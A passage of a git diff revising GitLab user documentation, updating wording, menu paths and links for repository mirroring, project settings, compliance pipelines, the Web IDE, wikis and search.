@@ -65,9 +66,9 @@ For an existing project, you can set up push mirroring as follows:
![Repository mirroring push settings screen](img/repository_mirroring_push_settings.png)
When push mirroring is enabled, only push commits directly to the mirrored repository to prevent the
-mirror diverging.
+mirror diverging.
-Unlike [pull mirroring](#how-it-works), the mirrored repository is not periodically auto-synced.
+Unlike [pull mirroring](#how-it-works), the mirrored repository is not periodically auto-synced.
The mirrored repository receives all changes only when:
- Commits are pushed to GitLab.
@@ -93,19 +94,19 @@ You can also create and modify project push mirrors through the
By default, if any ref on the remote mirror has diverged from the local
repository, the *entire push* fails, and no updates occur.
-For example, if a repository has `master`, `develop`, and `stable` branches that
+For example, if a repository has `main`, `develop`, and `stable` branches that
have been mirrored to a remote, and then a new commit is added to `develop` on
-the mirror, the next push attempt fails, leaving `master` and `stable`
+the mirror, the next push attempt fails, leaving `main` and `stable`
out-of-date despite not having diverged. No change on any branch can be mirrored
until the divergence is resolved.
With the **Keep divergent refs** option enabled, the `develop` branch is
-skipped, allowing `master` and `stable` to be updated. The mirror status
+skipped, allowing `main` and `stable` to be updated. The mirror status
reflects that `develop` has diverged and was skipped, and be marked as a failed
update.
NOTE:
-After the mirror is created, this option can currently only be modified via the [API](../../../api/remote_mirrors.md).
+After the mirror is created, this option can only be modified via the [API](../../../api/remote_mirrors.md).
### Setting up a push mirror from GitLab to GitHub
@@ -122,11 +123,15 @@ The repository pushes shortly thereafter. To force a push, select the **Update n
### Setting up a push mirror from GitLab to AWS CodeCommit
-AWS CodeCommit push mirroring is currently the best way to connect GitLab repositories to AWS CodePipeline, as GitLab isn't yet supported as one of their Source Code Management (SCM) providers.
+AWS CodeCommit push mirroring is the best way to connect GitLab repositories to
+AWS CodePipeline, as GitLab isn't yet supported as one of their Source Code Management (SCM) providers.
-Each new AWS CodePipeline needs significant AWS infrastructure setup. It also requires an individual pipeline per branch.
+Each new AWS CodePipeline needs significant AWS infrastructure setup. It also
+requires an individual pipeline per branch.
-If AWS CodeDeploy is the final step of a CodePipeline, you can, instead, leverage GitLab CI/CD pipelines and simply use the AWS CLI in the final job in `.gitlab-ci.yml` to deploy to CodeDeploy.
+If AWS CodeDeploy is the final step of a CodePipeline, you can, instead, leverage
+GitLab CI/CD pipelines and use the AWS CLI in the final job in `.gitlab-ci.yml`
+to deploy to CodeDeploy.
NOTE:
GitLab-to-AWS-CodeCommit push mirroring cannot use SSH authentication until [GitLab issue 34014](https://gitlab.com/gitlab-org/gitlab/-/issues/34014) is resolved.
@@ -214,10 +219,9 @@ If it isn't working correctly, a red `error` tag appears and shows the error mes
You can set up a repository to automatically have its branches, tags, and commits updated from an
upstream repository.
-This is useful when a repository you're interested in is located on a different server, and you want
-to be able to browse its content and its activity using the familiar GitLab interface.
-
-To configure mirror pulling for an existing project:
+If a repository you're interested in is located on a different server, and you want
+to browse its content and its activity using the GitLab interface, you can configure
+mirror pulling:
1. If you [configured two-factor authentication (2FA)](https://docs.github.com/en/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)
for GitHub, create a [personal access token for GitHub](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token)
@@ -244,7 +248,7 @@ Because GitLab is now set to pull changes from the upstream repository, you shou
directly to the repository on GitLab. Instead, any commits should be pushed to the remote repository.
Changes pushed to the remote repository are pulled into the GitLab repository, either:
-- Automatically within a certain period of time.
+- Automatically in a certain period of time.
- When a [forced update](#forcing-an-update) is initiated.
WARNING:
@@ -254,7 +258,7 @@ Deleted branches and tags in the upstream repository are not reflected in the Gi
### How it works
-Once the pull mirroring feature has been enabled for a repository, the repository is added to a queue.
+After the pull mirroring feature has been enabled for a repository, the repository is added to a queue.
Once per minute, a Sidekiq cron job schedules repository mirrors to update, based on:
@@ -556,7 +560,7 @@ Bidirectional mirroring should not be used as a permanent configuration. Refer t
[Git Fusion](https://www.perforce.com/manuals/git-fusion/#Git-Fusion/section_avy_hyc_gl.html) provides a Git interface
to [Perforce Helix](https://www.perforce.com/products) which can be used by GitLab to bidirectionally
-mirror projects with GitLab. This may be useful in some situations when migrating from Perforce Helix
+mirror projects with GitLab. This can help you in some situations when migrating from Perforce Helix
to GitLab where overlapping Perforce Helix workspaces cannot be migrated simultaneously to GitLab.
If using mirroring with Perforce Helix, you should only mirror protected branches. Perforce Helix
diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md
index 4e8e3f1bbce..cca8d770115 100644
--- a/doc/user/project/repository/web_editor.md
+++ b/doc/user/project/repository/web_editor.md
@@ -144,7 +144,7 @@ This dropdown contains the options **Create merge request and branch** and **Cre
![New Branch Button](img/web_editor_new_branch_from_issue_v_12_6.png)
After selecting one of these options, a new branch or branch and merge request
-is created based on your project's default branch. By default, this branch is `master`.
+is created based on your project's [default branch](branches/default.md).
The branch name is based on an internal ID, and the issue title. The example
screenshot above creates a branch named
`2-make-static-site-auto-deploy-and-serve`.
@@ -152,7 +152,7 @@ screenshot above creates a branch named
When you click the **Create branch** button in an empty
repository project, GitLab performs these actions:
-- Creates a `master` branch.
+- Creates a default branch.
- Commits a blank `README.md` file to it.
- Creates and redirects you to a new branch based on the issue title.
- _If your project is [configured with a deployment service](../integrations/overview.md) like Kubernetes,_
@@ -183,7 +183,7 @@ request, you can create a new branch upfront.
![New branch page](img/web_editor_new_branch_page.png)
You can now make changes to any files, as needed. When you're ready to merge
-the changes back to `master`, you can use the widget at the top of the screen.
+the changes back to your [default branch](branches/default.md), you can use the widget at the top of the screen.
This widget only appears for a period of time after you create the branch or
modify files.
@@ -211,7 +211,7 @@ SHA:
## Tips
When creating or uploading a new file or creating a new directory, you can
-trigger a new merge request rather than committing directly to `master`:
+trigger a new merge request rather than committing directly to your default branch:
1. Enter a new branch name in the **Target branch** field.
1. GitLab displays the **Start a new merge request with these changes** check box.
diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md
index f5fa6e37d1c..890784cecf5 100644
--- a/doc/user/project/settings/import_export.md
+++ b/doc/user/project/settings/import_export.md
@@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference, howto
---
-# Project import/export
+# Project import/export **(FREE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3050) in GitLab 8.9.
> - From GitLab 10.0, administrators can disable the project export option on the GitLab instance.
@@ -24,9 +24,9 @@ See also:
To set up a project import/export:
- 1. Navigate to **Admin Area > Settings > Visibility and access controls**.
- 1. Scroll to **Import sources**
- 1. Enable desired **Import sources**
+ 1. On the top bar, go to **Menu > Admin > Settings > General > Visibility and access controls**.
+ 1. Scroll to **Import sources**.
+ 1. Enable the desired **Import sources**.
## Important notes
@@ -43,7 +43,7 @@ Note the following:
and are moved to your configured `uploads_directory`. Every 24 hours, a specific worker deletes these export files.
- Group members are exported as project members, as long as the user has
maintainer or administrator access to the group where the exported project lives.
-- Project members with owner access are imported as maintainers.
+- Project members with the [Owner role](../../permissions.md) are imported as Maintainers.
- Imported users can be mapped by their primary email on self-managed instances, if an administrative user (not an owner) does the import.
Otherwise, a supplementary comment is left to mention that the original author and
the MRs, notes, or issues are owned by the importer.
@@ -139,7 +139,7 @@ The following items are **not** exported:
NOTE:
For more details on the specific data persisted in a project export, see the
-[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/import_export/project/import_export.yml) file.
+[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/project/import_export.yml) file.
## Exporting a project and its data
diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md
index d3177aa7585..03a77e42765 100644
--- a/doc/user/project/settings/index.md
+++ b/doc/user/project/settings/index.md
@@ -30,7 +30,7 @@ Adjust your project's name, description, avatar, [default branch](../repository/
![general project settings](img/general_settings_v13_11.png)
-The project description also partially supports [standard Markdown](../../markdown.md#standard-markdown-and-extensions-in-gitlab). You can use [emphasis](../../markdown.md#emphasis), [links](../../markdown.md#links), and [line-breaks](../../markdown.md#line-breaks) to add more context to the project description.
+The project description also partially supports [standard Markdown](../../markdown.md#features-extended-from-standard-markdown). You can use [emphasis](../../markdown.md#emphasis), [links](../../markdown.md#links), and [line-breaks](../../markdown.md#line-breaks) to add more context to the project description.
#### Compliance frameworks **(PREMIUM)**
@@ -79,7 +79,7 @@ Example `.compliance-gitlab-ci.yml`
```yaml
# Allows compliance team to control the ordering and interweaving of stages/jobs.
# Stages without jobs defined will remain hidden.
-stages:
+stages:
- pre-compliance
- build
- test
@@ -93,26 +93,82 @@ variables: # can be overriden by a developer's local .gitlab-ci.yml
sast: # none of these attributes can be overriden by a developer's local .gitlab-ci.yml
variables:
FOO: sast
+ image: ruby:2.6
stage: pre-compliance
+ rules:
+ - when: always
+ allow_failure: false
+ before_script:
+ - "# No before scripts."
script:
- echo "running $FOO"
+ after_script:
+ - "# No after scripts."
sanity check:
+ image: ruby:2.6
stage: pre-deploy-compliance
+ rules:
+ - when: always
+ allow_failure: false
+ before_script:
+ - "# No before scripts."
script:
- echo "running $FOO"
+ after_script:
+ - "# No after scripts."
audit trail:
+ image: ruby:2.6
stage: post-compliance
+ rules:
+ - when: always
+ allow_failure: false
+ before_script:
+ - "# No before scripts."
script:
- echo "running $FOO"
+ after_script:
+ - "# No after scripts."
include: # Execute individual project's configuration
project: '$CI_PROJECT_PATH'
- file: '$CI_PROJECT_CONFIG_PATH'
+ file: '$CI_CONFIG_PATH'
```
+##### Ensure compliance jobs are always run
+
+Compliance pipelines use GitLab CI/CD to give you an incredible amount of flexibility
+for defining any sort of compliance jobs you like. Depending on your goals, these jobs
+can be configured to be:
+
+- Modified by users.
+- Non-modifiable.
+
+At a high-level, if a value in a compliance job:
+
+- Is set, it cannot be changed or overridden by project-level configurations.
+- Is not set, a project-level configuration may set.
+
+Either might be wanted or not depending on your use case.
+
+There are a few best practices for ensuring that these jobs are always run exactly
+as you define them and that downstream, project-level pipeline configurations
+cannot change them:
+
+- Add a `rules:when:always` block to each of your compliance jobs. This ensures they are
+ non-modifiable and are always run.
+- Explicitly set any variables the job references. This:
+ - Ensures that project-level pipeline configurations do not set them and alter their
+ behavior.
+ - Includes any jobs that drive the logic of your job.
+- Explicitly set the container image file to run the job in. This ensures that your script
+ steps execute in the correct environment.
+- Explicitly set any relevant GitLab pre-defined [job keywords](../../../ci/yaml/README.md#job-keywords).
+ This ensures that your job uses the settings you intend and that they are not overriden by
+ project-level pipelines.
+
### Sharing and permissions
For your repository, you can set up features such as public access, repository features,
@@ -123,7 +179,7 @@ section.
You can now change the [Project visibility](../../../public_access/public_access.md).
If you set **Project Visibility** to public, you can limit access to some features
to **Only Project Members**. In addition, you can select the option to
-[Allow users to request access](../members/index.md#project-membership-and-requesting-access).
+[Allow users to request access](../members/index.md#prevent-users-from-requesting-access-to-a-project).
Use the switches to enable or disable the following features:
@@ -193,6 +249,7 @@ Set up your project's merge request settings:
- Set up the merge request method (merge commit, [fast-forward merge](../merge_requests/fast_forward_merge.md)).
- Add merge request [description templates](../description_templates.md#description-templates).
- Enable [merge request approvals](../merge_requests/approvals/index.md).
+- Enable [status checks](../merge_requests/status_checks.md).
- Enable [merge only if pipeline succeeds](../merge_requests/merge_when_pipeline_succeeds.md).
- Enable [merge only when all threads are resolved](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved).
- Enable [require an associated issue from Jira](../../../integration/jira/issues.md#require-associated-jira-issue-for-merge-requests-to-be-merged).
@@ -242,10 +299,11 @@ To find an archived project:
1. If you:
- Have the project's URL, open the project's page in your browser.
- Don't have the project's URL:
- 1. Click **Projects > Explore projects**.
- 1. In the **Sort projects** dropdown box, select **Show archived projects**.
- 1. In the **Filter by name** field, provide the project's name.
- 1. Click the link to the project to open its **Details** page.
+ 1. On the top bar, select **Menu > Project**.
+ 1. Select **Explore projects**.
+ 1. In the **Sort projects** dropdown box, select **Show archived projects**.
+ 1. In the **Filter by name** field, provide the project's name.
+ 1. Click the link to the project to open its **Details** page.
Next, to unarchive the project:
@@ -273,7 +331,7 @@ To rename a repository:
Remember that this can have unintended side effects since everyone with the
old URL can't push or pull. Read more about what happens with the
-[redirects when renaming repositories](../repository/index.md#redirects-when-changing-repository-paths).
+[redirects when renaming repositories](../repository/index.md#what-happens-when-a-repository-path-changes).
#### Transferring an existing project into another namespace
@@ -283,7 +341,7 @@ to transfer a project.
You can transfer an existing project into a [group](../../group/index.md) if:
-- You have at least **Maintainer** [permissions](../../permissions.md#project-members-permissions) to that group.
+- You have at least the Maintainer** role in that group.
- You're at least an **Owner** of the project to be transferred.
- The group to which the project is being transferred to must allow creation of new projects.
@@ -297,7 +355,7 @@ To transfer a project:
Once done, you are redirected to the new project's namespace. At this point,
read what happens with the
-[redirects from the old project to the new one](../repository/index.md#redirects-when-changing-repository-paths).
+[redirects from the old project to the new one](../repository/index.md#what-happens-when-a-repository-path-changes).
NOTE:
GitLab administrators can use the administration interface to move any project to any
@@ -306,7 +364,7 @@ namespace if needed.
#### Delete a project
NOTE:
-Only project owners and administrators have [permissions](../../permissions.md#project-members-permissions) to delete a project.
+Only project Owners and administrators have [permissions](../../permissions.md#project-members-permissions) to delete a project.
To delete a project:
@@ -318,10 +376,10 @@ This action:
- Deletes a project including all associated resources (issues, merge requests etc).
- From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium](https://about.gitlab.com/pricing/) or higher tiers,
-group owners can [configure](../../group/index.md#enable-delayed-project-removal) projects within a group
-to be deleted after a delayed period.
-When enabled, actual deletion happens after number of days
-specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
+ group Owners can [configure](../../group/index.md#enable-delayed-project-removal) projects within a group
+ to be deleted after a delayed period.
+ When enabled, actual deletion happens after number of days
+ specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
WARNING:
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
@@ -354,10 +412,10 @@ To do so:
1. Confirm the action by typing the project's path as instructed.
NOTE:
-Only project owners have the [permissions](../../permissions.md#project-members-permissions)
+Only project Owners have the [permissions](../../permissions.md#project-members-permissions)
to remove a fork relationship.
-## Operations settings
+## Monitor settings
### Alerts
diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md
index d37e6144ab3..be8a961d6c0 100644
--- a/doc/user/project/settings/project_access_tokens.md
+++ b/doc/user/project/settings/project_access_tokens.md
@@ -81,6 +81,8 @@ the following table.
## Enable or disable project access token creation
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/287707) in GitLab 13.11.
+
You may enable or disable project access token creation for all projects in a group in **Group > Settings > General > Permissions, LFS, 2FA > Allow project access token creation**.
Even when creation is disabled, you can still use and revoke existing project access tokens.
This setting is available only on top-level groups.
diff --git a/doc/user/project/time_tracking.md b/doc/user/project/time_tracking.md
index df76c4682f3..3c9b0341661 100644
--- a/doc/user/project/time_tracking.md
+++ b/doc/user/project/time_tracking.md
@@ -20,7 +20,7 @@ Time Tracking allows you to:
- Record the time spent working on an issue or a merge request.
- Add an estimate of the amount of time needed to complete an issue or a merge
request.
-- View a breakdown of time spent working on an issue or a merge request.
+- View a breakdown of time spent working on an issue or a merge request.
You don't have to indicate an estimate to enter the time spent, and vice versa.
@@ -82,6 +82,10 @@ To remove all the time spent at once, use `/remove_time_spent`.
You can view a breakdown of time spent on an issue or merge request.
+Prerequisites:
+
+- You must have at least the [Reporter role](../permissions.md#project-members-permissions) for a project.
+
To view a time tracking report, go to an issue or a merge request and select **Time tracking report**
in the right sidebar.
diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md
index 73aed1244db..0e597725611 100644
--- a/doc/user/project/web_ide/index.md
+++ b/doc/user/project/web_ide/index.md
@@ -259,19 +259,27 @@ Additionally, for public projects an **Open in CodeSandbox** button is available
to transfer the contents of the project into a public CodeSandbox project to
quickly share your project with others.
-### Enabling Live Preview
+### Enable Live Preview
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/268288) in GitLab 12.9, third-party assets and libraries required for Live Preview are hosted at `https://sandbox-prod.gitlab-static.net` when it is enabled. However, some libraries are still served from other third-party services which may or may not be desirable in your environment.
+With Live Preview enabled, you can preview projects with a `package.json` file and
+a `main` entry point inside the Web IDE.
-The Live Preview feature needs to be enabled in the GitLab instance's
-Admin Area. Live Preview is enabled for all projects on
-GitLab.com
+Live Preview is enabled for all projects on GitLab.com. If you are an administrator
+of a self-managed GitLab instance, and you want to enable Live Preview:
-![Administrator Live Preview setting](img/admin_live_preview_v13_0.png)
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
+1. Scroll to **Web IDE** and select **Expand**:
+ ![Administrator Live Preview setting](img/admin_live_preview_v13_0.png)
+1. Select **Enable Live Preview** and select **Save changes**.
-After you have done that, you can preview projects with a `package.json` file and
-a `main` entry point inside the Web IDE. An example `package.json` is shown
-below.
+[In GitLab 12.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/268288),
+third-party assets and libraries required for Live Preview are hosted at
+`https://sandbox-prod.gitlab-static.net` when it is enabled. However, some libraries
+are still served from other third-party services, which may or may not be desirable
+in your environment.
+
+An example `package.json`:
```json
{
diff --git a/doc/user/project/wiki/img/content_editor_v14.0.png b/doc/user/project/wiki/img/content_editor_v14.0.png
new file mode 100644
index 00000000000..b44a633073d
--- /dev/null
+++ b/doc/user/project/wiki/img/content_editor_v14.0.png
Binary files differ
diff --git a/doc/user/project/wiki/img/use_new_editor_button_v14.0.png b/doc/user/project/wiki/img/use_new_editor_button_v14.0.png
new file mode 100644
index 00000000000..d9a5cf83302
--- /dev/null
+++ b/doc/user/project/wiki/img/use_new_editor_button_v14.0.png
Binary files differ
diff --git a/doc/user/project/wiki/index.md b/doc/user/project/wiki/index.md
index 22915efef94..ed6a51665bd 100644
--- a/doc/user/project/wiki/index.md
+++ b/doc/user/project/wiki/index.md
@@ -7,7 +7,7 @@ type: reference, how-to
# Wiki **(FREE)**
-If you don't want to keep your documentation in your repository, but you do want
+If you don't want to keep your documentation in your repository, but you want
to keep it in the same project as your code, you can use the wiki GitLab provides
in each GitLab project. Every wiki is a separate Git repository, so you can create
wiki pages in the web interface, or [locally using Git](#create-or-edit-wiki-pages-locally).
@@ -34,8 +34,8 @@ with sibling pages listed in alphabetical order. To view a list of all pages, se
When a wiki is created, it is empty. On your first visit, create the landing page
users see when viewing the wiki:
-1. Go to the page for your project or group.
-1. In the left sidebar, select **Wiki**, then **Create your first page**.
+1. Go to your project or group and select **Wiki**.
+1. Select **Create your first page**.
1. Select a **Format** for styling your text.
1. Add a welcome message in the **Content** section. You can always edit it later.
1. Add a **Commit message**. Git requires a commit message, so GitLab creates one
@@ -46,8 +46,7 @@ users see when viewing the wiki:
Users with Developer [permissions](../../permissions.md) can create new wiki pages:
-1. Go to the page for your project or group.
-1. In the left sidebar, select **Wiki**.
+1. Go to your project or group and select **Wiki**.
1. Select **New page** on this page, or any other wiki page.
1. Select a content format.
1. Add a title for your new page. Page titles use
@@ -111,8 +110,8 @@ may not be able to check out the wiki locally afterward.
You need Developer [permissions](../../permissions.md) or higher to edit a wiki page:
-1. Go to the page for your project or group.
-1. In the left sidebar, select **Wiki**, and go to the page you want to edit.
+1. Go to your project or group and select **Wiki**.
+1. Go to the page you want to edit.
1. Select the edit icon (**{pencil}**).
1. Edit the content.
1. Select **Save changes**.
@@ -124,10 +123,11 @@ For an example, read [Table of contents](../../markdown.md#table-of-contents).
## Delete a wiki page
-You need Maintainer [permissions](../../permissions.md) or higher to delete a wiki page:
+You need the [Maintainer role](../../permissions.md) or higher to delete a wiki page:
-1. Go to the page for your project or group.
-1. In the left sidebar, select **Wiki**, and go to the page you want to delete.
+1. Go to your project or group and select **Wiki**.
+1. Go to the page you want to delete.
+1. Select the edit icon (**{pencil}**).
1. Select **Delete page**.
1. Confirm the deletion.
@@ -135,8 +135,8 @@ You need Maintainer [permissions](../../permissions.md) or higher to delete a wi
You need Developer [permissions](../../permissions.md) or higher to move a wiki page:
-1. Go to the page for your project or group.
-1. In the left sidebar, select **Wiki**, and go to the page you want to move.
+1. Go to your project or group and select **Wiki**.
+1. Go to the page you want to move.
1. Select the edit icon (**{pencil}**).
1. Add the new path to the **Title** field. For example, if you have a wiki page
called `about` under `company` and you want to move it to the wiki's root,
@@ -164,8 +164,8 @@ From the history page you can see:
You can see the changes made in a version of a wiki page, similar to versioned diff file views:
-1. Go to the page for your project or group.
-1. In the left sidebar, select **Wiki**, and go to the wiki page you're interested in.
+1. Go to your project or group and select **Wiki**.
+1. Go to the wiki page you're interested in.
1. Select **Page history** to see all page versions.
1. Select the commit message in the **Changes** column for the version you're interested in.
@@ -192,8 +192,7 @@ You need Developer [permissions](../../permissions.md) or higher to customize th
navigation sidebar. This process creates a wiki page named `_sidebar` which fully
replaces the default sidebar navigation:
-1. Go to the page for your project or group.
-1. In the left sidebar, select **Wiki**.
+1. Go to your project or group and select **Wiki**.
1. In the top right corner of the page, select **Edit sidebar**.
1. When complete, select **Save changes**.
@@ -243,7 +242,7 @@ and above. Group wiki repositories can be moved using the
To add a link to an external wiki from a project's left sidebar:
-1. In your project, go to **Settings > Integrations**.
+1. Go to your project and select **Settings > Integrations**.
1. Select **External wiki**.
1. Add the URL to your external wiki.
1. (Optional) Select **Test settings** to verify the connection.
@@ -253,21 +252,21 @@ You can now see the **External wiki** option from your project's
left sidebar.
When you enable this integration, the link to the external
-wiki won't replace the link to the internal wiki.
+wiki doesn't replace the link to the internal wiki.
To hide the internal wiki from the sidebar, [disable the project's wiki](#disable-the-projects-wiki).
To hide the link to an external wiki:
-1. In your project, go to **Settings > Integrations**.
+1. Go to your project and select **Settings > Integrations**.
1. Select **External wiki**.
-1. Unselect **Enable integration**.
+1. In the **Enable integration** section, clear the **Active** checkbox.
1. Select **Save changes**.
## Disable the project's wiki
To disable a project's internal wiki:
-1. In your project, go to **Settings > General**.
+1. Go to your project and select **Settings > General**.
1. Expand **Visibility, project features, permissions**.
1. Scroll down to find **Wiki** and toggle it off (in gray).
1. Select **Save changes**.
@@ -282,6 +281,47 @@ Previously added wiki pages are preserved in case you
want to re-enable the wiki. To re-enable it, repeat the process
to disable the wiki but toggle it on (in blue).
+## Content Editor **(FREE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5643) in GitLab 14.0.
+
+GitLab version 14.0 introduces a WYSIWYG editing experience for GitLab Flavored Markdown
+in Wikis through the [Content Editor](../../../development/fe_guide/content_editor.md).
+The Content Editor is under active development, and is not yet the default editing
+experience in the Wiki. To opt in for the new editor:
+
+1. Create a new wiki page, or edit an existing one.
+1. Ensure the wiki page uses the Markdown format. Other formats are not yet supported.
+1. Below the **Format** select box, select **Use the new editor**:
+
+ ![Use new editor button image](img/use_new_editor_button_v14.0.png)
+
+### Use the Content Editor
+
+1. [Create](#create-a-new-wiki-page) a new wiki page, or [edit](#edit-a-wiki-page) an existing one.
+1. Select **Markdown** as your format.
+1. Below the **Format** select box, select **Use new editor**.
+1. Customize your page's content using the various formatting options available in the content editor.
+1. Select **Create page** for a new page, or **Save changes** for an existing page:
+
+ ![Content Editor in Wikis image](img/content_editor_v14.0.png)
+
+### Switch back to the old editor
+
+1. *If you're editing the page in the content editor,* scroll to **Content**.
+1. Select **Switch me back to the classic editor**.
+1. Select **Switch to classic editor** in the confirmation popup to confirm.
+
+When you switch back to the old editor, any unsaved changes are lost.
+
+### GitLab Flavored Markdown support
+
+Supporting all GitLab Flavored Markdown content types in the Content Editor is a work in progress.
+For the status of the ongoing development for CommonMark and GitLab Flavored Markdown support, read:
+
+- [Basic Markdown formatting extensions](https://gitlab.com/groups/gitlab-org/-/epics/5404) epic.
+- [GitLab Flavored Markdown extensions](https://gitlab.com/groups/gitlab-org/-/epics/5438) epic.
+
## Resources
- [Wiki settings for administrators](../../../administration/wikis/index.md)
diff --git a/doc/user/project/working_with_projects.md b/doc/user/project/working_with_projects.md
index ddca0b64f81..a0b20f5c86d 100644
--- a/doc/user/project/working_with_projects.md
+++ b/doc/user/project/working_with_projects.md
@@ -13,8 +13,8 @@ code are saved in projects, and most features are in the scope of projects.
You can explore other popular projects available on GitLab. To explore projects:
-1. Click **Projects** in the navigation bar.
-1. Click **Explore Projects**.
+1. On the top bar, select **Menu > Project**.
+1. Select **Explore Projects**.
GitLab displays a list of projects, sorted by last updated date. To view
projects with the most [stars](#star-a-project), click **Most stars**. To view
@@ -84,6 +84,7 @@ Built-in templates are project templates that are:
- Developed and maintained in the [`project-templates`](https://gitlab.com/gitlab-org/project-templates)
and [`pages`](https://gitlab.com/pages) groups.
- Released with GitLab.
+- Anyone can contribute a built-in template by following [these steps](https://about.gitlab.com/community/contribute/project-templates).
To use a built-in template on the **New project** page:
@@ -196,8 +197,8 @@ To star a project:
To view your starred projects:
-1. Click **Projects** in the navigation bar.
-1. Click **Starred Projects**.
+1. On the top bar, select **Menu > Project**.
+1. Select **Starred Projects**.
1. GitLab displays information about your starred projects, including:
- Project description, including name, description, and icon
@@ -227,10 +228,16 @@ Read through the documentation on [project settings](settings/index.md).
## Project activity
-To view the activity of a project, navigate to **Project overview > Activity**.
-From there, you can click on the tabs to see **All** the activity, or see it
-filtered by **Push events**, **Merge events**, **Issue events**, **Comments**,
-**Team**, and **Wiki**.
+To view the activity of a project:
+
+1. On the left sidebar, select **Project information > Activity**.
+1. Select a tab to view **All** the activity, or to filter it by any of these criteria:
+ - **Push events**
+ - **Merge events**
+ - **Issue events**
+ - **Comments**
+ - **Team**
+ - **Wiki**
### Leave a project
@@ -333,7 +340,7 @@ For public projects, and to members of internal and private projects
with [permissions to view the project's code](../permissions.md#project-members-permissions):
- The content of a
- [`README` or an index file](repository/#repository-readme-and-index-files)
+ [`README` or an index file](repository/index.md#readme-and-index-files)
is displayed (if any), followed by the list of directories in the
project's repository.
- If the project doesn't contain either of these files, the
diff --git a/doc/user/reserved_names.md b/doc/user/reserved_names.md
index 16ff8538630..bf9abcca640 100644
--- a/doc/user/reserved_names.md
+++ b/doc/user/reserved_names.md
@@ -10,7 +10,7 @@ Not all project & group names are allowed because they would conflict with
existing routes used by GitLab.
For a list of words that are not allowed to be used as group or project names, see the
-[`path_regex.rb` file](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/path_regex.rb)
+[`path_regex.rb` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/path_regex.rb)
under the `TOP_LEVEL_ROUTES`, `PROJECT_WILDCARD_ROUTES` and `GROUP_ROUTES` lists:
- `TOP_LEVEL_ROUTES`: are names that are reserved as usernames or top level groups
@@ -54,13 +54,11 @@ Currently the following names are reserved as top level groups:
- `500.html`
- `502.html`
- `503.html`
-- `abuse_reports`
- `admin`
- `api`
- `apple-touch-icon-precomposed.png`
- `apple-touch-icon.png`
- `assets`
-- `autocomplete`
- `dashboard`
- `deploy.html`
- `explore`
@@ -71,7 +69,6 @@ Currently the following names are reserved as top level groups:
- `health_check`
- `help`
- `import`
-- `invites`
- `jwt`
- `login`
- `oauth`
@@ -81,7 +78,6 @@ Currently the following names are reserved as top level groups:
- `robots.txt`
- `s`
- `search`
-- `sent_notifications`
- `sitemap`
- `sitemap.xml`
- `sitemap.xml.gz`
diff --git a/doc/user/search/advanced_search.md b/doc/user/search/advanced_search.md
index 1c4423fb7b0..20a2a7263c3 100644
--- a/doc/user/search/advanced_search.md
+++ b/doc/user/search/advanced_search.md
@@ -57,13 +57,13 @@ Full details can be found in the [Elasticsearch documentation](https://www.elast
here's a quick guide:
- Searches look for all the words in a query, in any order - e.g.: searching
- issues for [`display bug`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=display+bug&group_id=9970&project_id=278964) and [`bug display`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+Display&group_id=9970&project_id=278964) will return the same results.
-- To find the exact phrase (stemming still applies), use double quotes: [`"display bug"`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=%22display+bug%22&group_id=9970&project_id=278964)
-- To find bugs not mentioning display, use `-`: [`bug -display`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+-display&group_id=9970&project_id=278964)
-- To find a bug in display or banner, use `|`: [`bug display | banner`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+display+%7C+banner&group_id=9970&project_id=278964)
-- To group terms together, use parentheses: [`bug | (display +banner)`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+%7C+%28display+%2Bbanner%29&group_id=9970&project_id=278964)
-- To match a partial word, use `*`. In this example, I want to find bugs with any 500 errors. : [`bug error 50*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+error+50*&group_id=9970&project_id=278964)
-- To use one of symbols above literally, escape the symbol with a preceding `\`: [`argument \-last`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=argument+%5C-last&group_id=9970&project_id=278964)
+ issues for [`display bug`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=display+bug&group_id=9970&project_id=278964) and [`bug display`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=bug+Display&group_id=9970&project_id=278964) will return the same results.
+- To find the exact phrase (stemming still applies), use double quotes: [`"display bug"`](https://gitlab.com/search?snippets=&scope=issues&repository_ref=&search=%22display+bug%22&group_id=9970&project_id=278964)
